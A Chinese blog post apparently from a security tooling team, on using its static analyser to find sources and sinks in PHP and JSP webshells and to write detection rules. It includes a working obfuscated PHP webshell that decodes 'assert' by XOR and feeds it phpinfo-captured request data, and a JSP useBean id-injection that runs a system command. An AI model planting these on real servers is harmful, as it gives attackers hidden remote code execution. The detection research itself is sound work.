跳到主要内容

代码审计:IRify 在 WebShell 中的 Source/Sink 挖掘

· 阅读需 7 分钟
Yak Project
网络安全垂直语言团队

做 ssa 的开发和维护至今,从 ssa 的底层到 syntaxflow 的语法构建,ssa 的能力也逐渐提升,在上一阶段中,我也提供了一些 ssa 的漏洞挖掘案例。在最近的一段时间内,对 ssa 优化和增加新语法的同时,我也对 webshell 做了一些分析和审计。

接下来,我将会从两个方面进行展开讲解。

ssa 新语法介绍

?()表达式:

在之前的规则中,常常会像下面这样写。

__GET as $source
aa(* #{include: <<<CODE
* & $source
CODE}-> as $sink)

比较诟病的是,这样找到的sink 点并非真正的sink 点,而是topdef之后的结果。?()的出现类似于?{},都是对中间结果进行过滤,然后影响结果的值。

样例:

<?php
a(1,2);
a($a,2);
//参数中含有const
a?(*?{opcode: const}) as $sink
//参数1为const
a?(*?{opcode: const},) as $sink
//参数1,2均为const
a?(*?{opcode: const},*?{opcode: const}) as $sink

Webshell 重塑 source 和 sink

Webshell 大家并不陌生,无论是红蓝中对 webshell 的检测还是免杀,也是老生常谈的问题。在2023年,我也参加过伏魔挑战赛,我也会用一部分我对 webshell 的理解和 ssa 结合,重新对 WebShell 审视sourcesink ,并且针对 WebShell 实现一些规则。

PHP 漏洞挖掘的过程中,我们常常认为 Source 点为 $_GET$_POST$_REQUESTheaders 等一系列全局可控函数,sink 点尝尝为 evalsystem 等一系列常见的代码执行 /命令执行的代码中,但是在 PHP 是动态运行。支持 php 中的常见间接函数调用。

非常规 source 和 sink_

那么从 WebShell 的编写来说,我们常常需要绕过一些常规的 Sink 点,像REQUESTPOSTGET 等一些常规的 source 点都会被 ban 掉,那么是否存在一些冷门的 source 点呢?

冷门 source 点:

  • phpinfo()

phpinfo中,会打印出这次请求的全部信息,可以当作一个非常规source点去用。

冷门 sink 点:

因为 php 中支持间接的函数调用,而 (MY_CONST) 作为一个括号表达式,会先进行计算返回常量字符串,然后会在 zendVM 的函数表中进行查找。

<?php
define('MY_CONST', 'phpinfo');
// 直接调用常量名作为函数,报错
MY_CONST(); // ❌ 错误:Call to undefined function MY_CONST()
(MY_CONST)(); // ✅ 正确调用 phpinfo() 函数

数据流污染:

光靠冷门的 source sink 其实也难以绕过,还需要实现数据流的污染,在静态分析翻译的过程中,难点在于全局变量、全局常量、静态变量、静态常量。特点是:数据的精确度受到函数调用关系的影响,而静态分析的过程中,我们又常常无法去精确的知道两个函数之间的调用顺序,和入口点也有极大关系。

这里我选择使用了define 来做数据流的混淆:

<?php
namespace DemoInfo {
define("DEMO", (new Demo())->invokeMethod());
functionxorencrypt($str, $key)
{
$slen = strlen($str);
$klen = strlen($key);
$cipher = '';
for($i = 0; $i < $slen; $i = $i + $klen) {
$cipher .= substr($str, $i, $klen) ^ $key;
}
return $cipher;
}
classDemo
{
private $content;
public function__construct()
{
ob_start();
phpinfo();
$this->content = ob_get_contents();
ob_end_clean();
}
public functioninvokeMethod()
{
preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);
return $matches[1];
}
}
}

webshell 样例:

<?php
namespace DemoInfo {
define("DEMO", (new Demo())->invokeMethod());
functionxorencrypt($str, $key)
{
$slen = strlen($str);
$klen = strlen($key);
$cipher = '';
for($i = 0; $i < $slen; $i = $i + $klen) {
$cipher .= substr($str, $i, $klen) ^ $key;
}
return $cipher;
}
classDemo
{
private $content;
public function__construct()
{
ob_start();
phpinfo();
$this->content = ob_get_contents();
ob_end_clean();
}
public functioninvokeMethod()
{
preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);
return $matches[1];
}
}
}
namespace {
use DemoInfo\Demo;
use function DemoInfo\xorencrypt;
define("DEMO2", (xorencrypt("PBBTCE", "1")));
define("DEMO", (new Demo())->invokeMethod());
(DEMO2)(\DEMO);
}

Jsp WebShell_

在 jsp 中,和 php 会有所不同,jsp 会 <%!%> 会被翻译成class,而 <%%> 中的内容会被翻译到 _jspService 方法中。在我前一段时间的研究中发现,jsp 在翻译成 .java 的时候,会在底层有一些鸡肋的处理。比如:

他在翻译的时候,会将标签解析成 AST 抽象语法树,然后再通过StringBuilder “拼接” 成一个 .java 文件,然后再进行编译。那这样的话,其实有非常多的 bypass 技巧和方法。我在翻了几个 AST 翻译过程时发现,有些会被拦掉,但有些并不会。这块会直接拿到 id 中的内容,然后直接写入到 .java 中,可以实现代码注入。

Webshell demo:

<jsp:useBean id="a=null;java.lang.Runtime.getRuntime().exec(\"open -a calculator\");/*" class="org.aa.test"/>
<%*/out.print(1);%>

针对 WebShell 实现一些通用检测

因为 WebShell 中的 source sink 都做了很多污染,也利用了一些冷门的特性。只能找一些通用的共同点,提供一些通用的思路检测。

call method 检测:检查 call method 是否为常量。

php 中,会有一些常见的检测思路,检查是否用了非“常规”的 call method。比如:是否用了常量。

*?{opcode: call} as $call
$call?{<get
Callee>?{opcode: const}} as $sink
//DEMO:
<?php
define("aa","assert");
(aa)($_GET);

检查 call method 类型是否是 call:

<?php
define("aa","YXNzZXJ0");
base64_decode(aa)();
/*
*?{opcode: call} as $call
$call<getCallee>?{opcode: call} as $sink
*/

检查 call method 类型是否是 call:

Call param 检测:

检查 callParam 中,是否经过某些特定函数。比如在上述中的 php webshell 中,我们可以检测是否经过 ob_get_contents 然后再去遍历该块中的所有指令。一条可能检查的规则如下:

*?{opcode: call} as $call
/(?i)phpinfo/() as $sink
ob_get_contents?{<self><scanInstruction(include:<<<CODE
* & $sink
CODE)>} as $evil
$call?{<getCallee>?(* #{include: <<<CODE
* & $evil
CODE}->)} as $sink

常见代码中可能出现的“冷门”source 点

在上面讲到了 java php webshell 中常见的 source 点,在平时的漏洞挖掘中,是否也同样存在呢?

我在前一段时间中,碰到过这么一段代码:

    if(request()->isPost()) {
$post = request()->post();
$post['id'] = get_admin_id();
if($this->model->update($post)) {
return $this->success();
}
return $this->error();
}
$data = $this->model->find(get_admin_id());
if(!empty($data['group_id'])) {
$group = AdminGroupModel::field('title')
->whereIn('id', $data['group_id'])
->select()
->toArray();
foreach($group as $key => $value) {
$title[$key] = $value['title'];
}
}
$data['jobs'] = Jobs::where('id', $data['jobs_id'])->value('title');
$data['group'] = implode('-', $title);
$data['tags'] = empty($data['tags']) ? $data['tags'] : unserialize($data['tags']);

是可以执行反序列化,数据是从数据库查询回来,而数据该字段又可以自主控制,那么这个时候,我们还认为这个是一个常规 source 点嘛?

这一类问题可以抽象成 A 经过中间环境后变成 B,是否还可以当成一个 source 点?

这个会取决于,A 是否可控,如果 A 可控,那么 B 有可能会成为一个 source 点,A 如果不可控,B 大概不会成为一个 source 点。

所以这段代码中,最后会写成( syntaxflow 表达冷门 source 点):

./where|find|select/ as $source
unserialize?(* #{include: <<<CODE
* & $source
CODE}->) as $sink

总结

在后面也许会支持一些 webshell 的通用检查规则,去编写每种语言的一些通用规则。另外,在漏洞挖掘中,目前的内置规则中是覆盖了大部分情况,但由于代码的多样性,可能需要用户对某些特定的代码环境进行特定的编写,而对于冷门的 source 点,通常需要找到“中间环境”,比如:envcache 等。


本文首发于 Yak Project 公众号,阅读原文